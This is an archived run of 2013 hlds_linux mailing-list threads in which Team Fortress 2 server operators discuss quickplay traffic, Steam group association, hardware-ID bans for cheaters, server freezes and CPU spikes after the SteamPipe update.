If I may, the only reason we had 18 servers up was the demand. I was initially planning to stop at 2 and maybe one with a cycle of all halloween maps. However, when they were filling within minutes of being put up, I put up as many as I could so folks could play. Oh, and we don't run ads of any kind on our servers save text ones directing the players to our community - so there was no profit motivation whatsoever. I still think something else may be up; if there are only ~75 valve servers it is indeed unlikely to be the sole cause of traffic decreases. Yet I also don't think it is solely people seeking ad revenue either; if that was the case, the bulk of those servers would have been up on day one, vying to be some of the first ones up and to get as much traffic as possible. On Thu, 10/31/13, Daniel Barreiro smelly.feet.you.h...@gmail.com wrote: Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Received: Thursday, October 31, 2013, 3:23 PM http://tf2stats.net/map/plr_hightower_event TF2stats is reporting over 2300 servers running the map and about 17,500 people playing it. That's about 7.6 players per server. If Valve only put up 76 servers, they are not the ones taking the traffic. It's the loads of community owners trying to get the traffic. Looking at the server list, there are a ton of clans that all put up 25+ servers running the map, all running ads. Even someone in this mailing thread stated that none of their 18 servers were getting traffic. I don't want to turn this into an ad debate, but it appears to me that there are a lot of people out there just hoping to profit off of the traffic from the update. I'm also seeing a ton of 32/33 slot servers using dynamic slot hiding to get them full with quickplay and then up it to get more people. On Thu, Oct 31, 2013 at 1:58 PM, Bjorn Wielens uniac...@yahoo.ca wrote: If the existence of the valve servers is the sole cause of the massive decrease in traffic to communities... It poses a rather large issue for those communities. It means that the sheer number of valve's quickplay-eligible servers is outshadowing _many_ communities (as judging by the messages in this thread), and the server market is being over-saturated to the point where communities basically have a hard time getting a foothold unless there is an established playerbase that is large enough to sustain the server with very little traffic influx. Ultimately, it means communities likely won't bother with event servers as a result of no traffic anyway... and this will rebound very rapidly in the opposite direction. I thought the entire goal of quickplay was to help get traffic _to_ communities and help players discover them (for those that keep their servers within a set of parameters)... not keep all the traffic for Valve servers. I realize this sounds pretty scathing , but it is something I think we (as community server operators) need to be seriously aware of - for the day that no more communities exist to keep the hat market up, will be the day TF2 truly dies :D From: Fletcher Dunn fletch...@valvesoftware.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Cc: Half-Life dedicated Win32 server mailing list ( h...@list.valvesoftware.com) h...@list.valvesoftware.com Sent: Thursday, October 31, 2013 2:30:23 PM Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? There were no Valve event servers running until last night. -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto: hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Daniel Barreiro Sent: Thursday, October 31, 2013 10:13 AM To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? Never run any bots, all of my servers were full yesterday and are completely dead last night until now. Only change was the update. One of the servers wasn't registered until this event (converted it from a custom server temporarily just to get a 24/7 helltower server for the week), so it was a brand new ID. On Thu, Oct 31, 2013 at 1:08 PM, Calvin Judy evo...@gmail.com wrote: None of my servers are running any sort of bots, and they all dropped quickplay traffic completely last night. Can you double check to verify this update didn't create an additional issue, as it sure does look like something is wrong. ~6000 players in 24h to 0 in 12h, doesn't really make any sense. - Original Message - From: Fletcher Dunn fletch...@valvesoftware.com To: Half-Life dedicated Linux server mailing list
Re: [hlds_linux] [Feature Request] [TF2] User-initiated join to Steam community group associated with a server.
It doesn't even have to be difficult, simply an authentication key viewable to group admins/owners which the server needs to know to register with the group. From: ics i...@ics-base.net To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, August 28, 2013 11:25:44 AM Subject: Re: [hlds_linux] [Feature Request] [TF2] User-initiated join to Steam community group associated with a server. There is only one fault with that. That steamgroup id can be dug up by anyone and used on their server. Guess how many non-valve servers does L4D2 official group have if you are in it and start the game. 180+ last time i checked. There needs to be a way to add servers to steamgroup and then the servers have the necessary id set. It would reject all others. This is also something that has been requested since L4D came out but no progress on that. -ics Rudy Bleeker kirjoitti: The sv_steamgroup convar already exists in TF2, so you can already associate a server with a Steam community group. All you need now is a way for people to easily join this group if it's a public one, for example when they leave the server after playing on it for a while. Much like how you're now asked if you want to add the server you've been playing on to your favorites when you leave, the TF2 client could pop up a second dialog when you leave a server associated with a public Steam group asking them would you like to join Steam community so and so. Hopefully with an opt-out option that can be set in the Advanced options. On Wed, Aug 28, 2013 at 8:09 AM, Weasel wea...@weaselslair.com wrote: I meant that there ARE servers that are doing FULLY-automated Steam Group invites. The type of thing where you join the server, and then you get a Steam Group invite automatically. Not a chat-trigger ala !join or something like that. There are also at least two commercial pieces of software out there that do this - which I won't link to here. I do the SourceMod chat-trigger-to-steam-group-URL thing myself in the MOTD browser. But, since that works in the MOTD browser it doesn't join them, requires them to logon again (even though they are already logged-onto Steam obviously, etc.). I don't think Valve should MAKE it work that way either - it already seems too much like a Phishing site. What I am suggesting is that they build into the game a way to (optionally) associated a group with a server, and give the player the option to initiating that - without having to look-up/find that group, etc. That way the player initiates it, AND Valve-developed code controls the whole process - without 3rd-party hacks, 3rd-party web-sites, 3rd-party services, etc. I think it would be more secure that way, and also not result in extra Join my group invite spam (since it's player-initiated). Re: [hlds_linux] [Feature Request] [TF2] User-initiated join to Steam community group associated with a server. Erik-jan Riemers Tue, 27 Aug 2013 22:59:39 -0700 There is nothing wrong with showing the website to steam group when you type !join. But other than that, since steam groups are not bound to servers for instance, the benefit for the end user has little value these days. (unlike in l4d2, even though everybody abuses the steam groups that nobody at valve ends will fix :) ) ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Add something to the game so that server ops can ban HWID too.
That wouldn't work. unless Valve implements a global ban system where they track HWIDs and such for bans (which they never will do) , the HWID would HAVE to be shared to be able to ban by it. You can hardly ban someone by a particular attribute of their account (or indeed check to see if they are banned by said attribute) without actually knowing the attribute in the first place. From: Scruppy Dawg sc2p...@gmail.com To: Mart-Jan Reeuwijk mreeu...@yahoo.com; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Saturday, August 24, 2013 3:33:28 AM Subject: Re: [hlds_linux] Add something to the game so that server ops can ban HWID too. Like I said, the HWID itself wouldn't be shared. When you ban a SteamID there would be something you would add to the ban command to issue a HWID ban on that SteamID as well. On Sat, Aug 24, 2013 at 12:27 AM, Mart-Jan Reeuwijk mreeu...@yahoo.comwrote: Steamguard generates a random number for the client, which is linked to the machine afaik with the steam client. You cannot get that one, that would be bad. The HWID, is generated at installation of steam I think, and is probably passed on to Valve at logon every time. Never really looked at it. But sharing that has other security issues I guess. its a strange thing, for things conflict a lot. - Valve can't discuss individual accounts specifics (being a alt account of somebody would prolly be not good for them in legal) - sharing such identifying info would benefit the server owners in the amount of effort needed to keep their servers clean, but that would be defeated by some those hackers would start to do to prevent such. I do not think valve would want to start that arms race. I rather have them up the par on VAC, as far as I hear, there are now various cheats that aren't been vac'd by valve after x time. They do move over to new account for too many servers they got banned on to be able to join much. From: Eli Witt eliw...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Friday, 23 August 2013, 22:05 Subject: Re: [hlds_linux] Add something to the game so that server ops can ban HWID too. It really depends on how the HWID is generated and if they're fuzzy or not. It could literally be as simple as a 1 digit change to a MAC address on a NIC that's not even active, or it could stamp every piece of hardware that it can pull unique information from and fuzzy the shit out of it. On Fri, Aug 23, 2013 at 7:56 AM, dan needa...@ntlworld.com wrote: On 23/08/2013 01:43, Scruppy Dawg wrote: Everyone knows the HWIDs are stored due to Steamguard (Or some form of HWID, anyway). Couldn't Valve simply add something so that server operators, when banning a SteamID, can also elect to ban the associated HWID? The HWID never needs to be exposed to the server admins. Is it difficult to change hwid though? I can't say I've looked at it or care about it, but if something as simple as changing the mac address alters it, it's not likely to improve anything. It sounds like one of these things that might work for a week or 2 and then cheaters would just figure out a way of working around it. Auto detecting cheating and kicking / banning seems the best approach. Doesn't SMAC and the alternatives work well enough to do that? I've got to say I don't really notice a significant problem with cheaters in TF2 on the servers I play on. I can't imagine why someone would keep creating accounts and going back to the same server only to be kicked and banned immediately, unless it's reached the point where he's just doing it to wind the server owner and admins up. -- Dan __**_ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.**com/cgi-bin/mailman/listinfo/**hlds_linux https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Add something to the game so that server ops can ban HWID too.
We've had a handful of these as well. It got to a point where we issued a 'ban on sight' order with 'alt account of player' as an acceptable ban reason without significant evidence. I think at one point it was even reported to his ISP and he got disconnected so he had to explain to mummy and daddy why they were issued a cease-and-desist. That takes their steam away pretty quickly... in both contexts of that word. You'd be surprised how determined some people can be (and now that tf2 is F2P there isn't even any money required to get a new account). From: Mart-Jan Reeuwijk mreeu...@yahoo.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Friday, August 23, 2013 1:32:37 PM Subject: Re: [hlds_linux] Add something to the game so that server ops can ban HWID too. lol, that reminds me of a cheater years ago (~4-5 years), that always went cheating on a DODS server. Admins banned his account, 2 minutes later he was on the server again with another account. Every month he bought about 10-15 accounts to cheat ONLY on that community's server (no bans or stats anywhere else for those accounts). Sometimes it where brand new accounts, other times it where old accounts. If IP banned, he moved proxy. Kept on for years... Nobody ever found out why he did so, for he must have spend quite some money to do this, or w/e. Admins did play a lot on it, so those accounts got banned fast, but it was a annoyance for them for they had the proof rule that any ban must be proven disregard of rules or must be hacking etc, recording demo's, peer review etc. (that comm is now defunct sadly). Shame SMAC wasn't there yet. From: dan needa...@ntlworld.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Friday, 23 August 2013, 13:56 Subject: Re: [hlds_linux] Add something to the game so that server ops can ban HWID too. On 23/08/2013 01:43, Scruppy Dawg wrote: Everyone knows the HWIDs are stored due to Steamguard (Or some form of HWID, anyway). Couldn't Valve simply add something so that server operators, when banning a SteamID, can also elect to ban the associated HWID? The HWID never needs to be exposed to the server admins. Is it difficult to change hwid though? I can't say I've looked at it or care about it, but if something as simple as changing the mac address alters it, it's not likely to improve anything. It sounds like one of these things that might work for a week or 2 and then cheaters would just figure out a way of working around it. Auto detecting cheating and kicking / banning seems the best approach. Doesn't SMAC and the alternatives work well enough to do that? I've got to say I don't really notice a significant problem with cheaters in TF2 on the servers I play on. I can't imagine why someone would keep creating accounts and going back to the same server only to be kicked and banned immediately, unless it's reached the point where he's just doing it to wind the server owner and admins up. -- Dan ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Freezing servers?
No actually, just a ridiculous amount of memory usage and no response. CPU usage seems normal. From: D Bauhmz sc2p...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Sunday, June 2, 2013 7:22:25 PM Subject: Re: [hlds_linux] Freezing servers? We get it as well. I assume it's the 100% CPU deal? Seems to be a feature at this point. On Sun, Jun 2, 2013 at 6:06 PM, 1nsane 1nsane...@gmail.com wrote: Yeah it does happen randomly, unfortunately :(. On Sun, Jun 2, 2013 at 8:29 AM, Bjorn Wielens uniac...@yahoo.ca wrote: Ah, so sounds like it's just a fact of life for TF2 servers and not something worth worrying over. Thanks for the input. From: Brainkilla brainki...@gmx.de To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Sunday, June 2, 2013 8:32:51 AM Subject: Re: [hlds_linux] Freezing servers? Also happend to my Server - the last time ~10 Minutes ago. Am 02.06.2013 13:29, schrieb Andreas Willinger: Happens here too, I had one Server which even got in the state 'D', therefore I had to reboot my entire machine - the process was unkillable. The Server however had an uptime of over 8 Days, whereas one of my other Servers had such a freeze after only 12 hours... Weird things going on. -Ursprüngliche Nachricht- Von: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] Im Auftrag von Bjorn Wielens Gesendet: Sonntag, 02. Juni 2013 13:06 An: Half-Life dedicated Linux server mailing list Betreff: [hlds_linux] Freezing servers? Has anyone else here encountered issues with servers that stop responding as of late? I seem to have one particular server that does it but others with identical plugins do not, and it's not a matter of use... I have other servers that have been full regularly with uptimes of over 9 days, whereas this one seems to be doing this every few days. Symptoms are no response from console, ~3GB memory usage, no response to status queries. If nobody has encountered this before I'll chalk it up to a WTF and just rebuild the server. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] Freezing servers?
Has anyone else here encountered issues with servers that stop responding as of late? I seem to have one particular server that does it but others with identical plugins do not, and it's not a matter of use... I have other servers that have been full regularly with uptimes of over 9 days, whereas this one seems to be doing this every few days. Symptoms are no response from console, ~3GB memory usage, no response to status queries. If nobody has encountered this before I'll chalk it up to a WTF and just rebuild the server. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Freezing servers?
Ah, so sounds like it's just a fact of life for TF2 servers and not something worth worrying over. Thanks for the input. From: Brainkilla brainki...@gmx.de To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Sunday, June 2, 2013 8:32:51 AM Subject: Re: [hlds_linux] Freezing servers? Also happend to my Server - the last time ~10 Minutes ago. Am 02.06.2013 13:29, schrieb Andreas Willinger: Happens here too, I had one Server which even got in the state 'D', therefore I had to reboot my entire machine - the process was unkillable. The Server however had an uptime of over 8 Days, whereas one of my other Servers had such a freeze after only 12 hours... Weird things going on. -Ursprüngliche Nachricht- Von: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] Im Auftrag von Bjorn Wielens Gesendet: Sonntag, 02. Juni 2013 13:06 An: Half-Life dedicated Linux server mailing list Betreff: [hlds_linux] Freezing servers? Has anyone else here encountered issues with servers that stop responding as of late? I seem to have one particular server that does it but others with identical plugins do not, and it's not a matter of use... I have other servers that have been full regularly with uptimes of over 9 days, whereas this one seems to be doing this every few days. Symptoms are no response from console, ~3GB memory usage, no response to status queries. If nobody has encountered this before I'll chalk it up to a WTF and just rebuild the server. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4.
Thanks for investigating, Fletcher. I can tell you that in our case, we have an 8 core system with no CPU affinity assigned (with 12 TF2 servers running comfortably with CPU to spare, srcds generally consumes 30% but can get mid 40s when full of players), Watching top, the load is fairly evenly distributed across the individual cores, and monitoring resource usage showed only one process spiking in usage at a time. For what it's worth, I haven't had the issue recur after disabling replay on the servers in question. For me, that would mean the next step is to re-enable it and see if the problem returns - I'll post back here when I get those results (though it's entirely possible that the additional replay overhead is the metaphorical straw on the camel's back) and any additional information I uncover. From: Fletcher Dunn fletch...@valvesoftware.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Cc: Half-Life dedicated Win32 server mailing list (h...@list.valvesoftware.com) h...@list.valvesoftware.com Sent: Monday, May 6, 2013 1:41:18 PM Subject: Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4. I was able to get a trace from a Windows server operator that was experiencing a similar problem. The problem in that case was that it was spending all of its time compressing snapshots. The problem was exacerbated by some process affinity settings which were counterproductive and putting all the threads on the same core, while other cores were idle. Tracking the overall CPU usage can be quite deceiving when investigating lag. Lower CPU usage is not necessarily better! For example, in this case if the process affinity were not set and more cores were allowed to be used, then the CPU usage on this 4-core system would have gone above 25% for a shorter burst, which would have been preferable to it being pegged at 25% (a single core saturated for a longer period of time). I think it is a reasonable guess that his problem is similar to the one you guys are seeing. (Of course they could be totally unrelated, so take all this with a grain of salt.) But assuming that they are similar problems, there are two things to investigate. First, did something change that is doing something subtly different with process affinity that it wasn't doing before, or is the process affinity thing totally a config issue with one server? (Or if anybody else is tweaking processor affinities, do you fully understand the implications of it?) When you are looking at the CPU usage, is the process pegging a single CPU, or is it pegging at some round fraction like 1/4 or 1/8? The second thing to investigate is, what is happening at the high level that is causing the snapshot data to be so big? Do network activity spikes correlates with the CPU spikes? If that is the case, then we can use -netspike or other tools that you guys are probably more familiar with than I am to track down what the entity data is that is causing all the busywork. We have very powerful performance analysis tools we can use on Windows to track these problems down. I only wish more windows server operators users would get setup with them! Please help us help you! It's not that difficult to get set up. Email me directly and I can get you a CD key. https://support.steampowered.com/kb_article.php?ref=3059-RTXB-2672 -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Essay Tew Phaun Sent: Saturday, May 04, 2013 11:54 AM To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4. Hmm. We didn't have this problem before Steampipe though. We just use the STV with a couple of slots open on it so that an admin can connect and watch for reported players. On Sat, May 4, 2013 at 2:44 PM, ics i...@ics-base.net wrote: STV is known to cause issues and hogs a lot of memory. That's why rarely no one uses it on public servers. -ics Essay Tew Phaun kirjoitti: Interesting. We're not hosting a replay, but we do have STV. On Sat, May 4, 2013 at 12:06 PM, Bjorn Wielens uniac...@yahoo.ca wrote: Sounds like the same problem I'm having (see last few posts in 'CPU Increase' thread). __**__ From: Michael Johansen michs...@live.no To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.**com hlds_linux@list.valvesoftware.com Sent: Saturday, May 4, 2013 12:43:59 PM Subject: Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4. We've noticed this as well, no complaints though as the players does not seem to notice it very much. Date: Sat, 4 May 2013 11:40:54 -0400 From: sc2p...@gmail.com To: hlds_linux@list.valvesoftware.**comhlds_linux@list.valvesoftware.c om Subject: [hlds_linux] Huge sv drops
Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4.
Sounds like the same problem I'm having (see last few posts in 'CPU Increase' thread). From: Michael Johansen michs...@live.no To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Saturday, May 4, 2013 12:43:59 PM Subject: Re: [hlds_linux] Huge sv drops and var spikes in net_graph 4. We've noticed this as well, no complaints though as the players does not seem to notice it very much. Date: Sat, 4 May 2013 11:40:54 -0400 From: sc2p...@gmail.com To: hlds_linux@list.valvesoftware.com Subject: [hlds_linux] Huge sv drops and var spikes in net_graph 4. We never had this issue prior to Steampipe, but we're dealing with these very random and rare spikes of lag where the server framerate will suddenly drop from 66 to below 20 and var will spike to 20+. We're hosting 6 24 slot servers on the following: E3-1230v2 16GB CentOS 6.4 64bit I was able to capture a screenshot of one of the drops but they're very hard to catch since they appear very very briefly. http://i.imgur.com/wxp8P3N.png server.cfg sv_minrate 35000 sv_maxrate 20 sv_maxupdaterate 67 sv_minupdaterate 66 sv_mincmdrate 66 sv_maxcmdrate 67 sv_client_cmdrate_difference 100 Thanks ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] SteamPipe CPU Increase?
I too am seeing CPU usage spikes now on servers that were rock solid before (hovering around 25-30, spikes to 50 sometimes) (even at 32 man), are now hitting 100% CPU usage and the server framerate is tanking. This is a regular 24 man server, and nothing has changed since the steampipe switch. I even unloaded all sourcemod plugins just in case and the spikes continued. Intel(R) Xeon(R) CPU E31240 @ 3.30GHz CentOS 6 with HPET enabled. From: Chris Oryschak ch...@oryschak.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, May 2, 2013 10:32:04 PM Subject: Re: [hlds_linux] SteamPipe CPU Increase? I'm running: Ubuntu 12.04 64bit. on Intel(R) Xeon(R) CPU E5-2690 0 @ 2.90GHz On Thu, May 2, 2013 at 8:59 PM, Abdulrahman Abdulkawi abdulk...@live.co.ukwrote: @Chris Oryschak - can you confirm your CPU model and operating system? I'm using Linux Debian 64bit. CC: hlds_linux@list.valvesoftware.com From: ad...@topnotchclan.com Date: Thu, 2 May 2013 17:48:20 -0700 To: hlds_linux@list.valvesoftware.com Subject: Re: [hlds_linux] SteamPipe CPU Increase? I'm on Windows and only seeing 25 percent with 137 players on TF2. But I'm running powerful quads. Not dual. Sent from my iPhone 5 On May 2, 2013, at 5:43 PM, Chris Oryschak ch...@oryschak.com wrote: I too have notice a significant increase in CPU usage. Can more people confirm? On May 2, 2013 8:40 PM, Abdulrahman Abdulkawi abdulk...@live.co.uk wrote: Is anybody running the E3 CPU range without any problems? I've removed /addons/ and the CPU is still high (90%+), and jumps a lot. Tried disabling replay too. Subject: Re: [hlds_linux] SteamPipe CPU Increase? From: abdulk...@live.co.uk Date: Thu, 2 May 2013 01:47:55 +0100 To: hlds_linux@list.valvesoftware.com Im getting 90-120% on a 32/32 server, with E3-1230v2 @3.2Ghz and SSD hd, in comparison with 60-70% on hlds. No error spam on console.log. Sent from my iPhone On 2 May 2013, at 01:32, Marcos Vidal markitos.mak...@gmail.com wrote: El 02/05/2013 2:23, Abdulrahman Abdulkawi escribió: I'm not sure If I'm the only one with this problem; has anyone noticed CPU increases in running a server on SteamPipe, in comparison to HLDS (populated server). ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux Yes, I'm having this problem too. A server with 11 players went from 1-3% to 7% on Intel E3-1240 v2. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] SteamPipe CPU Increase?
Further update, is anyone else experiencing spikes running Replay? I disabled it and it seems to have helped to some extent as it _looks_ like the servers are no longer spiking into the 100% region. From: Bjorn Wielens uniac...@yahoo.ca To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Friday, May 3, 2013 10:52:12 PM Subject: Re: [hlds_linux] SteamPipe CPU Increase? I too am seeing CPU usage spikes now on servers that were rock solid before (hovering around 25-30, spikes to 50 sometimes) (even at 32 man), are now hitting 100% CPU usage and the server framerate is tanking. This is a regular 24 man server, and nothing has changed since the steampipe switch. I even unloaded all sourcemod plugins just in case and the spikes continued. Intel(R) Xeon(R) CPU E31240 @ 3.30GHz CentOS 6 with HPET enabled. From: Chris Oryschak ch...@oryschak.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, May 2, 2013 10:32:04 PM Subject: Re: [hlds_linux] SteamPipe CPU Increase? I'm running: Ubuntu 12.04 64bit. on Intel(R) Xeon(R) CPU E5-2690 0 @ 2.90GHz On Thu, May 2, 2013 at 8:59 PM, Abdulrahman Abdulkawi abdulk...@live.co.ukwrote: @Chris Oryschak - can you confirm your CPU model and operating system? I'm using Linux Debian 64bit. CC: hlds_linux@list.valvesoftware.com From: ad...@topnotchclan.com Date: Thu, 2 May 2013 17:48:20 -0700 To: hlds_linux@list.valvesoftware.com Subject: Re: [hlds_linux] SteamPipe CPU Increase? I'm on Windows and only seeing 25 percent with 137 players on TF2. But I'm running powerful quads. Not dual. Sent from my iPhone 5 On May 2, 2013, at 5:43 PM, Chris Oryschak ch...@oryschak.com wrote: I too have notice a significant increase in CPU usage. Can more people confirm? On May 2, 2013 8:40 PM, Abdulrahman Abdulkawi abdulk...@live.co.uk wrote: Is anybody running the E3 CPU range without any problems? I've removed /addons/ and the CPU is still high (90%+), and jumps a lot. Tried disabling replay too. Subject: Re: [hlds_linux] SteamPipe CPU Increase? From: abdulk...@live.co.uk Date: Thu, 2 May 2013 01:47:55 +0100 To: hlds_linux@list.valvesoftware.com Im getting 90-120% on a 32/32 server, with E3-1230v2 @3.2Ghz and SSD hd, in comparison with 60-70% on hlds. No error spam on console.log. Sent from my iPhone On 2 May 2013, at 01:32, Marcos Vidal markitos.mak...@gmail.com wrote: El 02/05/2013 2:23, Abdulrahman Abdulkawi escribió: I'm not sure If I'm the only one with this problem; has anyone noticed CPU increases in running a server on SteamPipe, in comparison to HLDS (populated server). ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux Yes, I'm having this problem too. A server with 11 players went from 1-3% to 7% on Intel E3-1240 v2. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released
Sadly I've had no luck even using the beta gamedata and SM 1.6, still get crashes. I'll have another go at it but I don't have much hope. From: Dondon Tudtud don...@applei.ph To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Sunday, April 28, 2013 11:21:38 AM Subject: Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released I used the ones on this site: https://github.com/RavuAlHemio/sourcemod-beta-gamedata and got most of the basic plugins that I'm using to work (Spray Tracer, AFK Manager, etc.) On Sun, Apr 28, 2013 at 4:48 PM, Peter Reinhold peter_va...@reinhold.dkwrote: On 26.04.2013 01:49, Bjorn Wielens wrote: I suspect I've found the culprits of the crashes, heads up if you are running afk_manager or superlogs_tf2 plugins, both of these caused server crashes immediately after joining a team for me. (Linux server) I can add spraytracer to that list as well, and even though I compiled my own superlogs, it still crashes upon client connection. Are there beta gamedata available somewhere? (I am using the latest SM 1.5 snapshot, which I think would include those?) /Peter __**_ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.**com/cgi-bin/mailman/listinfo/**hlds_linuxhttps://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list 